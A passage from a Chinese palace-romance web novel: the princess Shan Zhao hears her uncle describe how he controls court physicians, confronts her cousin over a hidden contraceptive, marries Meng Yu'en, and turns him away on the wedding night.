“这个倒是别的事情了。认识归认识,要指望太医替你卖命那可没这么简单,太医们都是正经的医学世家传人,代代相传。若是被人买通而后揭发,全家都要遭难。比如前朝有人指使太医让宫妃小产,之后被发现有太医的手脚后,皇帝夷了这个太医三族,以儆效尤,这可足足杀了三百多人!” 山照睁大双眼:“这……这也太狠了。” 赵仪倒是能够理解:“不狠怎么能行?他们有药也有治死人的手段,若是不管不顾起来,宫里便要大乱了。” “然后呢?这么难收买的情况下,舅舅怎么做的呢?”山照托着下巴,十分专心的听赵仪讲述。 赵仪看着山照崇拜的神情,嘴角翘了翘:“御医终究是人嘛,美-色钱财、权力富贵总有一样能套牢的。实在不行,找点受贿、占地之类的错处拿捏住,这样一套下来没有不服的。” “比如,我给一个好美-色的御医送了小妾,这个小妾失宠了就换个新的,枕头风一吹他便听话了。若是不听话,那些小妾还会给我传许多消息,有些可真是会掉脑袋的大事。” “全家的身家性命都系在上面了,一个小妾便能套出来了?” 赵仪睨她一眼:“若是那等谨慎之人,想送还送不出去呢。能送出去的,自然好拿捏。”他其实想说,床上的事儿一秃噜嘴就出来了。 “当然,你这样的小事。倒不需要这样。” “我这样的事情也算小事吗?”山照觉得未婚先孕怎么会是小事呢?她都不敢想象在李家村被人发现这种事情怎么办。 “是小事。因为就算你被发现了,宫里也会遮掩下来的。所以太医非但没有做错,还是做对了。不过,不给皇帝说倒是犯了欺君之罪。” 赵仪反应过来:“这事,陛下知道吗?” 山照已经是听明白了里面的道理,虽然还有些不懂的地方,但总算是能寻到门路了。 就尴尬一笑,挠了挠嘴角:“其实……” 赵仪看她。 “舅舅,我没有怀孕呢……”山照抬了抬眼皮,观察着赵仪的神色。 他愣住了,而后长舒了一口气。是那种又像叹息,又像欣慰的语调,并不生气。 “还好,不至于让我手上还沾点侄孙的血。” “侄孙?”山照注意到这个称呼:“舅舅,我是你的外甥女,我的孩子是你的甥孙才是。” 赵仪啧了一声,这动作是很不雅的,他多年没有做过了。 “内侄外甥我还能不知道吗?但我不喜欢这个外字,我就叫你侄女不行吗?” 一个外字倒显得他们很是生分了,赵仪不喜欢,非常不喜欢。 但说到这个话题,赵仪虽然觉得跟侄女谈生育之事有些尴尬,但确实上了点心:“你怎么确定的自己没怀孕?” 山照看着他:“……月事啊。” “没有,咳咳,什么手段?你没出嫁前可要注意……”赵仪觉得问这种问题的自己像个老妈子,寻思该给山照找个老嬷嬷了,省得下次自己问。 山照脸红了,这种闺房之事,叫她答还是不答呢。 到底是赵仪问的,她声音小了许多:“表哥说,不要弄里面就不会的。” 没想到赵仪一声惊叫:“啊?” 山照被吓了一跳:“啊!” 两人面面相觑,赵仪扶了扶额:“不对,这不对。” 他虽然没有娶妻,但还是有妾室通房的,只不过前些年没找到山照不愿留下孩子。 这自然是用了些避孕手段,所以赵仪立刻就察觉出问题了。 正跟他之前的疑惑对上了,昭明帝不可能不知道,也不可能不防范。 “你回去好好问问吧。” 山照从他的表情中察觉出不对,带着疑惑走了。 ** 回了宫,山照立刻就开始找灵曲。 她本来是想找表哥的,但她直觉,灵曲应该知道。 果然,山照一开口,灵曲便一五一十说了。 她本来也没想瞒着山照,陛下也没有这样的吩咐。 是杨力行这么要求的,他不想山照知道了难过。灵曲自然也是以公主为重。 “什么?还有这种汤药吗?”山照在此之前听都没听过什么叫避孕,所以也不知道这事还有许多手段。 “那,既然不是什么坏事,为什么表哥不愿意跟我说呢?” 灵曲虽然知道,但终究山照跟杨公子更亲密,她不好越俎代庖。 “殿下不如问问杨公子吧,这事还是本人来说更妥当。” 山照也没有为难灵曲,只是心里渐渐有些窝火。 这还是第一次知道表哥有事隐瞒她呢!还同她的婢女一起隐瞒! 她怒气冲冲从书房里找到了杨力行,往那座椅上一坐,便是一副审问的架势。 “你说,那个汤药是怎么回事?” 杨力行暗地里捏了捏拳头,在山照的盯视下才开口:“是避孕的汤药。” 他避重就轻:“表妹,你不是也怕有孩子吗?” 山照气笑了:“这是一回事吗?你既然不过是在喝药,有什么不能告诉我的?” 杨力行沉默,如同雕像。 “要我去问太医院吗?还是父皇?”山照还没笨到这个地步,表哥能从哪去拿药,又是谁的指使让他去做了。 根本不用猜第二个人。 她就是觉得,一定是有什么不对,不然这事何必瞒着她。 “这药倒也没什么。”杨力行看出来她生气了,要是真让山照跑去问皇帝就更不好。 “只是,喝多了不宜子嗣。不过,我们现在本来也不想要孩子,正好的。” “既然是这么好的事情,为何你不庆祝一下呢?要不要我给你搞一桌席宴?” 这话是故意挤兑杨力行的,山照气得耳根发疼:“不宜子嗣。这样的药你也敢喝!” “万一喝坏了,你以后怎么办?” 山照上一次听到‘不宜子嗣’这四个字,还是李家村有个姑娘落了水,大夫说要好好养着,不然不宜子嗣。 这姑娘从此就不再洗衣做饭,不沾生冷。 这事情很是被村里的大娘们长久讨论了一阵,山照就记住了这事。 “你怎么会这样瞒着我呢?”山照确实很生气,气表哥不告诉她真相,气表哥擅自做决定。 “我……我想要你快乐!” 杨力行觉得这好像是唯一一件他能做的有价值的事情,所以哪怕是要事后喝药,他也愿意。 “我情愿不做这样的事情……”山照侧过头,赌气般的不去看他。 杨力行看了眼书房外,虽然没有身影,但他知道外面有宫女守着门。 于是一把将山照从椅子上抱了起来。 山照以为他是想耍无赖将这件事情蒙混过去,还很生气,揪着他的耳朵扯:“干什么!干什么!” 却被杨力行带到了书房的隔间,这里有一张休憩用的小榻。 杨力行放下山照,而后蹲了下来,握住了山照的腿。 山照从这个握的动作中感觉到了不一样的意味,声音顿时小了、软了、娇了。 “你干什么啊……” 杨力行看了她一眼:“其实,不敦伦也是可以的。” 他的双手往里探,摸到了中裤,而后缓缓将它褪了下来。 山照被凉意激得打了个颤,而后便有温热的东西迎了进去。 ** 她看着房梁上的横木,那木头的纹路起先还清晰可见,后来慢慢摇晃起来,又模糊起来,而后变成迷乱的线条、漫天的星辰。 空白。 空白。 空白。 山照从失神中缓过来,杨力行舔了舔嘴角:“我只是想让你快乐。” 山照没有理他,她身体还软绵绵的,大脑却有无数的话语和灵感在奔涌。 今天跟舅舅说的所有话语,不断回响。 收买、威逼,为已所用。 下棋,下棋。 她明白为什么有人说人生如棋了。 表哥,是棋 舅舅,是棋。 父皇,是棋。 她,也是棋。 但,她能动摇舅舅,舅舅就是她的棋。能动摇父皇,父皇就是她的棋。 文武百官,贫民百姓,只要她有筹码可以动摇,就都是她的棋。 她不需要比棋子的能力强,只要能抓住棋子动摇的点,只要能让棋子为已所用,她就拥有了权力。 拨开云雾见月明,山照懂了。 第27章 第 27 章 送嫁迎亲 这几乎是山照有记忆开始起的最早的一天 , 她感觉自己才刚睡着,就被灵曲推醒了。 任谁熟睡的时候被叫醒都会有些脾气的,山照闭着眼不满的哼哼。 “殿下, 该起了。要梳妆了……”灵曲摇了几下,见公主实在不醒。便只能用别的法子, 她眼神示意候在一旁的宜春宜夏, 两人便一边一人扶着手臂把山照架了起来穿衣。 山照极为困难的睁了一下眼皮, 看见灵曲系着红腰带、配着红香囊, 其余宫女也都有红色配饰,她的卧房满是彩色丝绦和喜庆吉祥的摆设。 她陡然一个激灵, 想起来了:今天是她的婚礼! 尽管宫女们已经将内室四处都点燃了蜡烛, 但山照还是看见了窗外黑色的边界,天一点亮意都没有,黑压压的一片,只有她们这里是光亮的孤岛。 灵曲见山照实在困极, 摸-摸她鬓边的头发:“殿下睡吧,还得妆扮好一会呢……” 于是山照又闭上了双眼,只是没有睡熟,宫女们梳头的梳头、描妆的描妆,不时让山照抬抬手、抬抬脚,迷迷糊糊不知道弄了多久,才听到一声:“殿下,好了。” 她睁开眼, 看着铜镜中的自己, 淡妆娇面、轻注朱唇,竟觉得有些陌生。 更让她觉得陌生的是她这身的行头。 头戴点翠嵌彩宝金凤冠、肩批凤凰于飞缂丝霞帔、身穿大红牡丹袖衫,连衣裙上的坠子都是红宝石的。 美是美的, 富贵也是富贵的,只是让她觉得有些恍惚,谁能想象到去年她还只是个普通农女呢? 灵曲没让她愣神太久,她看了看外面,已经天色将明,轻声催促:“殿下,该去拜别陛下和娘娘了。” 山照出嫁的仪制虽高,但却终归是出嫁,不能在皇宫举行婚礼。 因此也需要早早拜别父母,到男方家继续后面的仪式。 不同的是三朝回门之后,她便可以长居公主府,而不必朝夕奉养公婆。 不管山照心里期待这婚事与否,宫里确实是一派喜气盈盈的模样,今日山照所见众人都戴着喜庆的配饰,一路都是张灯结彩。 山照一路到了凤仪宫,此刻黎明已至。 昭明帝和皇后坐在主位,身上的冠服在初阳下折射出金色的光晕,显露出一种平时没有被山照强烈感知到的威严。 现在在她面前的,是帝后。 当然,也不只有帝后。 山照第一眼看了帝后,第二眼便看到了立在右侧的颀长身影,他看见山照之后便自发的走过来,与山照并肩而立。 山照微微侧头看他如玉的侧脸,不由得恍了下神,心情复杂。若他能够糟糕一些,或许山照能够发自内心的讨厌他。 两人都提前练习过许久的婚礼礼仪,自然知道流程,双双跪下行礼,拜见帝后。 只是山照的膝盖刚弯下去,就被皇后扶起来了。 孟浴恩在一旁默默行完全礼。 皇后看了眼皇帝,见他没有说话的迹象,这才扶着山照的手臂,轻轻拍了两下。 她感叹道:“今日泰和公主便要出嫁,我心中虽然万分不舍,却也为你得嫁良人高兴。” 而后又看向孟浴恩:“公主是陛下才寻回的明珠,如今下降孟家,驸马可要珍惜福分、待公主以诚以德。” 她看着两人并肩而立的样子,转头对着昭明帝感叹道:“陛下真是做了一桩好媒,可真是天造地设的一对玉人。” “愿你们乐此今昔,和鸣凤凰。” 两人双双行礼:“谢娘娘关心。” 虽所有人都心知肚明这不过是场面话,姿态却要稳住,一时间倒真有一番和和美美的气氛。 昭明帝今天很是沉默,他只是看着山照,直到皇后都侧目看了他一眼,皇帝才说了句:“若是有了孩子,便早日往宫中送信。” 若是旁人说起这句,山照只当是句普通的嘱咐。但昭明帝是知道一切的,他是觉得表哥不会有孩子还是无所谓孩子的生父是谁? 皇后也没预料到皇帝冷不丁的蹦出来这么一句话,但还是笑着接了这句,也稍微解了山照和孟浴恩的围:“陛下这是想早日听到公主的好消息呢!” 孟浴恩知道这话不是对自己说的,也看着山照。 山照脸都没红一下:“这是自然。” 此时天已经亮了,宫女太监们正把收拢好的嫁妆一件一件的往宫门处运,这会宫门外已经排出了一条红色长龙。 吉时已到,山照该上花轿了。 在帝后二人的目送下,孟浴恩在队伍最前方上了马领头,山照则是盖着龙凤呈祥的盖头由婢女扶着上了花轿。 山照心中无限感伤,却也不知道自己在感伤什么。或许是……从这个门出去,她就是已婚之身。 她终究没有嫁给想嫁的人,也没能让爹娘看到她出嫁。 帝后二人是笑着送她离开的,但山照知道若是爹娘在这里,他们一定是万分不舍,甚至会哭着送她出门。 这就是区别所在。这个皇宫,终究不是她家,而她又要到新的家去了。 到了花轿上,远离他人的视线后,山照还是为自己默默落了两滴泪。 ** 从皇宫到丞相府,说来不过两条街,而且这条路早两天就有官差进行了净街,此时路上应当是只有迎亲送嫁的人。 但山照还是听到了街两旁有别的声音,似乎还有高低错落的妇人哭声。 灵曲自然是不能跟着上花轿,只是在外面随行着。 山照盖着盖头,而且也不好掀开看,便靠近车窗处问了句:“灵曲,外面怎么了?” “殿下,是自发为殿下送嫁的百姓。” 山照惊讶的‘啊?’了一声,她什么时候在民间有了这般声望的? “殿下有所不知,民间这些日子有一出《明珠戏》格外流行。讲的便是国公爷如何将殿下寻回的故事。这戏曲很是感人,不少百姓看了都深受感动。” “是舅舅做的。”山照笃定。 只是,山照还是不懂:“一曲戏文,真能影响人如此之深吗?” 灵曲看了眼街道两旁跪着送嫁的平民百姓,他们大部分衣着破旧,皮肤暗淡,不是过得好的样子。 “殿下,战乱毕竟才平定没多久……那些年头,家里丢了孩子的不是某家某户……” “公主也是战乱中遗失的孩子,却平安长到成人了。这些人或许是想到了自己的孩子吧……” 今日毕竟是公主的大喜日子,灵曲只说丢了孩子,旁的一概也不提。 但话说到这份上,山照也懂了,李家村那些年死的可不仅仅是被强召的壮年男子,饿死、病死的孩子也不在少数。 “可怜天下父母心。”这些父母,或许抱着微渺的希望,自己的孩子还活着吧。 “灵曲,发些喜钱给他们吧。就当是谢谢他们为我送嫁了。” 灵曲自然应了。 山照说了这句话自己却觉得不妥:“罢了,叫两个人去办,等我们走了再散钱吧。” 今日他们害怕有人铤而走险会来抢,特地叫了全城的衙役一路守卫花轿队伍。 万一这一洒钱惹的百姓骚动,波及到队伍,更容易出意外。 那就好事变坏事了。 灵曲便随便找了两个太监去干这事,不过灵曲也知道这些人贪财的本性,她只说:“公主殿下特地赐了赏钱谢谢这些百姓送嫁,你二人便留在此处发完钱再赶回孟府。若是差事干的好,少不了你们的赏钱。” 太监们自然喜出望外,跟灵曲一顿保证。 山照的轿子行的极慢,许久才走出了这条巷口。 这是真真切切的十里红妆。花轿前方是八十八抬的杠箱,全是金锭银票、奇珍异宝这些值钱的东西,后面是一百件的家具器物,什么金丝楠木的桌椅、百宝的嵌柜,阵势非凡。 孟浴恩领头骑马在最前,胯-下的骏马鬓毛黑亮、神俊非凡。他今日也是穿着正红色的圆领襕袍,衬得面色如霞、容颜近妖,让诸多来看热闹的新夫人娇小姐纷纷看了个呆。 而在某一处路口的阴暗处,杨力行穿着衙役的服装,眼看着花轿从自己眼前缓缓走过,心里像喝了两斤陈醋一样酸。 表妹嫁人了,却嫁的不是他。 他自然也看见了前来迎亲的驸马,杨力行不愿承认,可也不得不承认,这人,好英俊的相貌,他远远不如。 一想到表妹今夜要同此人洞房花烛,杨力行心乱如麻。他虽然相信表妹对他承诺的话,她说只与这孟少监做假夫妻,可是…… 他觉得自己像阴沟里的老鼠,是光天化日之下不该出现的污浊,是表妹华美衣袍上的污点。可他还是贪-婪的不愿离去…… “杨兄弟,跟着花轿走呀!” 杨力行的思绪瞬间被突然的说话声打断了。 原来是跟杨力行结伴随行的衙役见他楞在一处久久没有动作,忍不住提醒。 他们是上京各坊市的衙役,这次给泰和公主送嫁的活儿也是难得的轻松又有钱的好事,便是主官不提,他们也不能大意的。 “对不住,不知怎么走了个神。王大哥,走吧。”杨力行抱歉笑笑,好在那王大哥也没有多介意,两人便继续沿途维持秩序去了。 杨力行打定主意,待三朝回门之后,他要去公主府见表妹。 ** 山照一直闭着眼养神,直到花轿忽然不动了,而后又落在地上,她才睁开眼。 轿子一落地,外面瞬间嘈杂起来。山照知道现在外面一定很多人,不仅仅只有孟家的人,宫中的弟妹还有王公贵族多半都出席了。 轿门被轻轻敲响,“笃笃”,而后被打开了。 山照感觉到光线从外面涌了进来,轿内一片光亮,而后一只修长白净的手伸到了自己面前。 她犹豫了一瞬,还是搭上了孟浴恩的手而后出了轿门。 她听到一些热闹的笑谈声,有男有女,大多数都是些青春活泼的声音,这让山照也被他们的欢喜感染了些。 一出轿门,宫女就往山照的手里塞了绸子,孟浴恩的手便离开了,领了另一端的绸子。 而后两人联袂从大门回到了孟浴恩少年时在后宅的院子。 婚礼的正式礼仪其实是在晚上,山照还要在这屋内休息半日,到了傍晚时分再次露面,完成全部礼仪。 因而孟浴恩并没有久待,他还要许多事情要做。 “臣诸事繁忙,此刻不便久陪殿下,还望殿下原谅。” 山照知道她的一百八十八抬嫁妆要整理出来放在那晒妆都要废一些功夫,何况还有安置宾客、筹办宴席这些琐碎之事。 她轻轻点头:“少监辛苦了,便去吧。” 孟浴恩纠正:“殿下,虽礼还未完,但如今臣也已经是驸马了。” 山照…… “好,驸马去忙吧。”山照无奈哄走了他—— 作者有话说:又顺了一下,果然太困写出来的东西就是胡言乱语啊! 第28章 第 28 章 拒之门外 孟浴恩前脚一走, 后脚山照就自己把盖头掀开了。 灵曲抬起手露出一个想要阻拦的手势,见山照已经掀开便又自己默默放下了。 她眼神在几个陪嫁宫女面前一晃而过,众人都仿佛看不到公主自己掀了盖头这件事情, 神态自若。 山照舒了口气,把盖头扔到一边:“怎么会这么憋闷!” 不仅憋闷还憋屈, 哪里也看不见, 只能看到自己的鞋面。 虽然有侍女扶着, 驸马牵着, 但还是生怕自己踩空了。 她抬眼,屋内挤着灵曲、宜春、宜夏、宜秋、宜冬五个人。 灵曲忙说:“琴棋书画四个在外面守着, 驸马这处院子虽然雅静, 确实是小了些。” 山照眼睛在屋内逡巡了一番,虽然孟家已经收拾过了,但不说桌椅板凳,便是衾被床纱也都不是她已经习惯的样式。 山照这会已经很有公主的自觉了, 反正一应的器具宫女们都带着,她没必要委屈自己。 “春夏秋冬就把这里收拾一下吧。” 山照从宫里一共带出来九个宫女,就是原来就伺候她的那些人,除了粗使一个不落的全带上了。 除了灵曲之外,全是宜字头,名字是春夏秋冬、琴棋书画。 出了卧室,山照便看见隔间的书房,迎面满当当的五个大书架, 角落处放了书桌笔架, 这边是读书写字的空间。 山照略微扫了几眼,这书架上竟然多是正经书,除了四书五经, 还有《十三经注疏》、《资治通鉴》、《楚辞》等。 山照这些日子虽读书也没读出个大成果,却已然知道这些都是正经的经史子集,非经年苦读不能入门的。 “灵曲,你说这些书都是他什么时候看的呀……” 灵曲按照世家子出内院的普遍年纪推测道:“大约是十二三岁左右。” “十二三岁?这般小,就要读这许多书籍了吗?”山照好似透过这些珍藏的书籍,看到了孟浴恩少年时奋发努力的影子。 灵曲是前朝之人,她回想起往事,也有些唏嘘:“驸马自小就有神童之名,八九岁时就已经声名在外,都言他机敏聪慧、才气天然,将来必能蟾宫折桂。” “如此名声,所以才叫前朝的户部尚书许嫁嫡女啊,那会他们的家世可差距大了。”山照自然知道孟浴恩前头还定下过一门婚事。 若不是这桩婚事出了意外,他这样的官宦子弟也早就该成亲了。 “殿下,这都是过去的事情了。”灵曲也不知是谁跟公主胡言乱语的驸马前头的婚事,她还是觉得公主既然已经成婚,终究会喜欢驸马的。 山照看着灵曲的表情有些紧张,知道她心里在担忧她秋后算账,了然笑笑:“别担心,我只是随口说说。况且……我也不会为他吃醋的。” “我只是有些改观。”山照摸着那些书籍,继续道:“从前我在李家村的时候,以为勋贵子弟个个都是脑满肠肥的样子。竟不知道,原来他们想要往上走,也得历经千辛万苦。” “这架子搭的越大,底下承重的就越辛苦。公侯之家,盛时都是金玉满堂,可要说败落,也只需要一屋子草包。” 灵曲只感觉到公主这些日子愈发进益,说话谈吐竟然无一丝土气了。 说到这里山照收回手,这里到底不是她的地方。 “走吧。” ** 金乌西坠,半边身子已然没入天际。 山照也不知道是不是饿了,总觉得那半边太阳像流心的蛋黄。 灵曲看看时辰:“殿下,驸马应该要过来了。” 山照点头,回到床榻上端坐着,盖头盖上又遮挡住了她的视线。 孟浴恩来了,像来时一般又牵着山照离开,从院子里到了外头的礼厅。 两人一直无话。 孟浴恩却并非那么冷淡,虽然山照有侍女扶着,但他眼角余光一直注意着山照的鞋尖,怕她踩空。 到了礼厅,山照还是能听到观礼之人的动静,不过毕竟是要开始进行正式的礼仪了,他们也没有中午下轿那会吵闹。 孟丞相、孟夫人今日穿戴也是格外庄重,端坐在主位。 虽说公主是君,孟家众人同山照有君臣之别,按照礼法来说该孟父孟母跪君,可公婆跪拜儿媳妇又有违人伦之礼,司礼监从前朝的礼仪规矩里面找到了一条:“公主出降,与夫家长辈互行半礼。若遇公主大礼,则由驸马代之。” 因而,司仪一唱“一拜天地”,山照同孟浴恩一齐拜了下去。 但到二拜父母,山照便只与孟父孟母互行了个蹲礼,孟浴恩却足足跪了父母两次。 就连夫妻对拜,也是一个站着行蹲礼一个行跪拜大礼。 观礼众人不仅有宫里几位皇子、公主也有宫妃的娘家人、孟家之人还有其姻亲同僚,自然都懂礼节,也无人诧异。 只是孟夫人坐在上方,虽脸上还是笑着,却有些勉强。她着实是不知自家老爷和儿子娶这么一尊大佛回来干什么! “礼毕,送入洞房!” 女眷们一路跟着两位新人,虽然也有些说笑声,但气氛远远没有去别家闹房的喜庆。 特别是孟浴恩的三位庶妹,都沉默无言。她们最大的十四、最小的六岁,在出门之前都被各自的姨娘千叮咛万嘱咐过,万万不可得罪了公主,因而是生怕被人注意到。 山照回了新房端坐在床边,她这会已经开始感觉困倦和无聊了。但盖头还没揭,她还得再坚持一段时间。 孟夫人的嫂子曾家大夫人见气氛实在不够好,便故意扬了声起哄:“驸马快揭盖头啊,大家都可好奇你的福分是个什么模样了!” 其余女眷听见‘福分’二字便被都笑了,纷纷用袖口捂唇。这么一笑,屋内的气氛确实就喜庆自然了起来。 灵曲将秤杆递过来,孟浴恩便从善如流的接过来,然后从一角缓缓掀开山照的盖头。 一张细腻如脂、粉光若腻的美人脸露了出来,屋内传来一些刻意压抑了的惊呼声,山照看到观礼女眷们好奇的眼神,微微笑着。 孟浴恩的眼底闪过一丝惊艳。他其实已经记不清初见时山照的模样了,只记得她有双黑亮的眼睛,还有让他不觉得厌烦的感觉。 如今看来似乎与记忆里不太一样,又仿佛一样。 孟家大夫人睁大眼睛,有些夸张道:“世上竟然有这么天造地设的一对碧人!” 与她交好的王夫人故意做了个拍打她的样子:“前儿我家二子成婚你也是这般说的。敢情你这词儿竟然是见一个说一个不成。” 众人又是好一阵笑闹,不过最后还是落到对山照的恭维上。 “殿下,我这可不是说大话!我活的这半辈子,真没见过你们这样相衬的一对!”孟家大夫人还嫌说的不够劲,比出两个大拇指,一亲。 众人哄笑。 谁又不爱听好话呢?山照笑意浓了几分。 接下来便是饮合卺酒。 孟浴恩在山照的右侧坐了下来,灵曲为他们端来早就准备好的酒水,她笑着说吉祥话:“公主驸马共饮交杯酒,永结同心、风雨同舟。” 孟浴恩端着酒杯身子凑近了,山照的眼睛一时间竟然不能从他的眉眼间离开。他长似羽翼的睫毛掩着幽深的瞳孔,似是无情又有情。 两只手交缠在一起的时候,山照甚至能感觉到他手臂的肌肉随着弯曲绷紧了,硬邦邦的。 山照心想:他比看起来更结实。 而后,他衣物上沉稳悠长的香气飘远,山照才反应过来合卺酒饮尽了。 滚床的是孟夫人的外甥、外甥女,都是四五岁的年龄,白嫩可爱。应该提前都被家人教导过,一点也不调皮,乖乖的在喜床上滚了两圈,便看着山照,用孩童特有的稚气声音说着:“殿下,祝你早生贵子!” 女眷们又是一阵笑,这下连山照也绷不住了,应了两个好,又叫灵曲拿出早就准备好的小金镯子给两个小孩。 一阵热闹时候,众人也颇有眼力劲,悄然退了出去,只留下了孟浴恩。 他也不知道这会要说什么,不常喝酒的他这会眼下有了一片桃花似的红晕:“公主,暂且休息一会吧。外面还有许多宾客……” “好,你去吧。我也好拆冠、去衣,松快一会” 孟浴恩眉心却蹙了一下,他从这句话里面感觉到了山照的态度轻慢。寻常妇人哪会在新婚之日跟丈夫说穿的戴的太累,因而走完仪式就要去掉呢? 但,她是公主。 孟浴恩没说什么:“殿下好好休息吧,臣先去招待宾客了。” 灵曲见着孟浴恩和他的随从远去,这才折返回来,她有些惴惴不安:“殿下,晚上真不让驸马进门吗?” 新婚之夜,不让新郎官进门,便是放到哪里,都是有些过分了。 但山照的态度也很坚决,今日在外头她给孟家的面子也算做够了。可是非要演到跟孟浴恩同床共枕,她做不到。 不过事情也要讲究方法,她本意还是想多拖些日子,寻求跟孟家合作的机会,并不是来得罪他们的。 “你就说我月事,身体不适就早早睡下了。” “反正,不要叫他进屋。” ** 酒过三巡,随从立余搀着有些醉酒的少爷回房时,却发现喜房屋内已经是一片黑暗,只有屋外的红灯笼还亮着,能看清楚门扉的样式。 一时间,立余宁愿相信自己在生活了二十年的孟府走错路,也不愿意相信公主殿下把少爷拒之门外了。 孟浴恩虽然醉了,但五六分都是演的,他清楚自己回来还要洞房的,怎么可能喝到烂醉? 但这会也是酒意上头,反应慢了一些,他看着眼前的屋子,不敢置信的向自己的随从求证:“这是什么意思?”—— 作者有话说:这章看不懂的强烈建议去把上一章回顾下,我改的有点多[亲亲] 第29章 第 29 章 不懂风情 立余臊眉耷眼的, 他能说什么,他敢说什么? 孟浴恩的酒意瞬间去了十之七八了,他叫立余:“扣门!” 立余“啊”了一声。 但最终还是去了, 只是不情不愿的。心里暗暗祈祷,别把殿下吵醒了…… 灵曲早就知道驸马回来还有一关要过, 就根本没有睡下, 听见外头有声儿, 她便瞧瞧开了个门缝, 瞧准了是驸马,这才开门。 立余才刚走到门前呢, 门就无风自开了, 要不是后面马上露出个端着烛台的熟悉宫女,他指定要以为见鬼了! 昏黄烛火印着一张雪白的人脸,这谁瞧着心里不打两个颤呢? 今天这倒霉事真是一桩接着一桩,他休息的时候得去庙里拜拜, 去一去晦气。 灵曲心里也紧张极了,到底男人爱脸面,哪里能不在意的。 只是公主一意孤行,她只能尽力去做。 连忙恭敬蹲了一礼:“还请驸马宽容。殿下忽然身子不适,许是今日累着了,便早早睡了。” “不过睡之前,特意嘱咐了奴婢们,今夜公主许是不太安生, 便请驸马回自己的卧室安歇, 也睡个好觉。” 孟浴恩没说话,只沉着脸看着眼前的黑暗。 他有蠢到相信这样的话吗?公主若真的不适,这些婢女敢这样无声无息的便叫殿下忍着天亮吗? 不过是搪塞他的话语罢了。 灵曲回头看了眼黑洞洞的喜房, 尴尬笑笑:“这……殿下睡觉不喜点灯,所以……” 灵曲态度上虽然恭敬,但身子也堵着门呢,拒绝入内的意味不能更明显了。 夜风吹得庭院里的花木沙沙作响,也吹散了孟浴恩因为饮酒而生出的燥意。 罢了,既然知道是借口,僵在此处也无意义。 “那就请照顾好殿下,明日请安时我再来。” 说罢,便干净利落的走了。 立余连忙跟着,一点声音也不敢出,伺-候了孟浴恩十年,他怎么会不知道少爷这会是生气了! 孟浴恩进门还想佯装无事,叫立余沏茶,而后随手抄起桌面上未读完的书籍翻看,结果一打开就是些男女纠缠的肢体,原是前些日子自己寻的‘课本’。 他一把将这个污糟玩意扔到别处,哼,门都没进。 又翻出之前没看完的游记,拿起来翻了几页。 可是翻来翻去,一点雅兴也没有,满脑子都是赐婚之后他被迫接受的所有。 陛下虽并未明旨停了他少监的职位,但却批了足足三个月的婚假。 三个月之后,谁知道他还能不能继续出去做事了? 而今……竟然在新婚当日这般给他气受,实在是不可理喻。 他摸了摸自己脸,回忆起公主看自己的眼神,她分明是喜欢的,为什么…… 孟浴恩越想越是不平静,‘啪’的一下将书扣在桌上,冷眼问立余:“去找后院管事过来。” 立余看看天色:“少爷……驸马,快子时了,这会子叫人,别把人吓出好歹了。” 奴仆们虽是主子随叫随到的物件,可主子自己夜里也要休息的,极少半夜唤人起来折腾。 “叫你去,你就去。”孟浴恩不耐烦道。 他实在是没有找到自己的问题,只能想:是不是白天他忙着外面的事情时,有人怠慢了公主? 没等到两刻钟,立余便把吓得哆哆嗦嗦的内院管事叫来了。 他是个极普通的中年男子,大圆脸、五短身。 孟浴恩看着他就想起来了,这是母亲一个陪嫁的丈夫。 “今天何人在注意留墨院的动向?” 留墨院便是孟浴恩曾经住所的名字,便是公主自带了陪嫁人手,但她们要物要水总要孟家的仆人搭把手。 刘大还是第一次晚上被主子叫来问事,又是问的公主的事情,还以为自己安排的事情出了差别,结结巴巴说了半晌。 孟浴恩皱着眉听了半天才听懂:“分了四个人伺-候,都是母亲院里的熟手,没一个说有情况?” “是啊,公主还赐了多多的赏钱,没说哪里不妥当呀……”刘大也就是凭着老实本分才被孟夫人高看一眼的,哪里有胆子怠慢公主。 那这就更奇怪了,既然不曾有人怠慢她,她发什么脾气呢? 还是说她的确是身体不适,顾不得这些了。 算了……孟浴恩摆摆手:“既然如此,先下去吧。接下来几天好好伺-候,公主的事情是一等一的要事,知道吗?” 气性退去,孟浴恩自己也受不了酒味,沐浴更衣后便也睡了。 只是没有睡好。 ** 第二日,山照需要跟新晋驸马一起去给孟父孟母请安,而后开祠堂在族谱上写上她的名字。 无人来扰,山照自然是一-夜好眠。 睡好了自然心情也好,但这份好心情一直持续到看见孟浴恩的那一瞬间中止。 因为他,赫然穿了件月白的袍子。虽这颜色很衬他的皮肤,显得高雅出尘。 可好巧不巧,山照今日正穿了月白色暗团纹的烟罗裙。 她自然知道他们没有什么心有灵犀,只是……她回头看了看自己的几个婢女,这到底是谁说出去的? 事情虽小,可没经过她允许,谁知道下次会不会就透露了什么重要的事情出去。 只她现在养气功夫也有一些了,心思百转千肠,也不过一瞬间的事情就暂且将之放到脑后。 “殿下金安,不知今日身体是否还有不适?”孟浴恩思考了一-夜,不管是因为什么事情让公主不满,他都选择服软。 同色衣服,也不过是一点小小的讨好。 “谢驸马关心,现在好多了。”山照客气应答。 在山照和孟浴恩交谈的时候,两边的仆从都默默往后再退了一步。 “府上也有医师,待会请他来给殿下把把脉?” “不必了。我的身子我知道,没有大碍。” 孟浴恩几乎没有这样绞尽脑汁找话题却只得到不咸不淡回复的经历,也有些没耐心了:“殿下!还是请医师看看……” 山照瞅他一眼,站定,又叫仆从们站远一点,而后凑近了小声说:“你知道女子的月事是什么吗?我正是来事儿了……” “《黄帝内经》讲女子二七而天葵至……” 孟浴恩刚还反射性回答,以证明他知道此事。但随后反应过来这是女子私事,突觉尴尬,心里又不知怎么大松一口气。 原是如此,怪不得昨日婢女支支吾吾。 到了孟母所居的雁声堂,孟父孟母自然都在,双方行过礼,却是山照坐了上座。 孟夫人眼尖的瞧见公主行走自如,观其姿态竟不像是行过房事。 心里一惊:坏了,瓷哥儿该不会…… 她虽觉得这猜测八-九不离十,却不敢在这当头直接去问,但与此同时心也乱了,连孟丞相一口气使了几个眼神都没注意到。 不咸不淡的聊了几句家常,几人便要去孟氏祠堂改族谱。 孟家虽不算显赫,可也是书香世家,孟氏祠堂就在上京东市抄书巷子,离丞相府还是有些距离。 这抄书巷名字不太雅,但却实在是个雅地。文人家贫就常抄书维生,许多流传几代的书香人家最初时都是靠抄书赚的几十百文熬到考取功名那一日的,久而久之这抄书巷在上京人眼中也就成了一个颇有文气的地方。 孟父孟母早就准备好了牛车,山照独坐,孟浴恩骑马护送。 才刚上车,孟丞相就小声斥责妻子:“不是跟你说了吗,多问问公主习不习惯,还要哪里不满意。你干巴巴那几句,像个什么样子!” 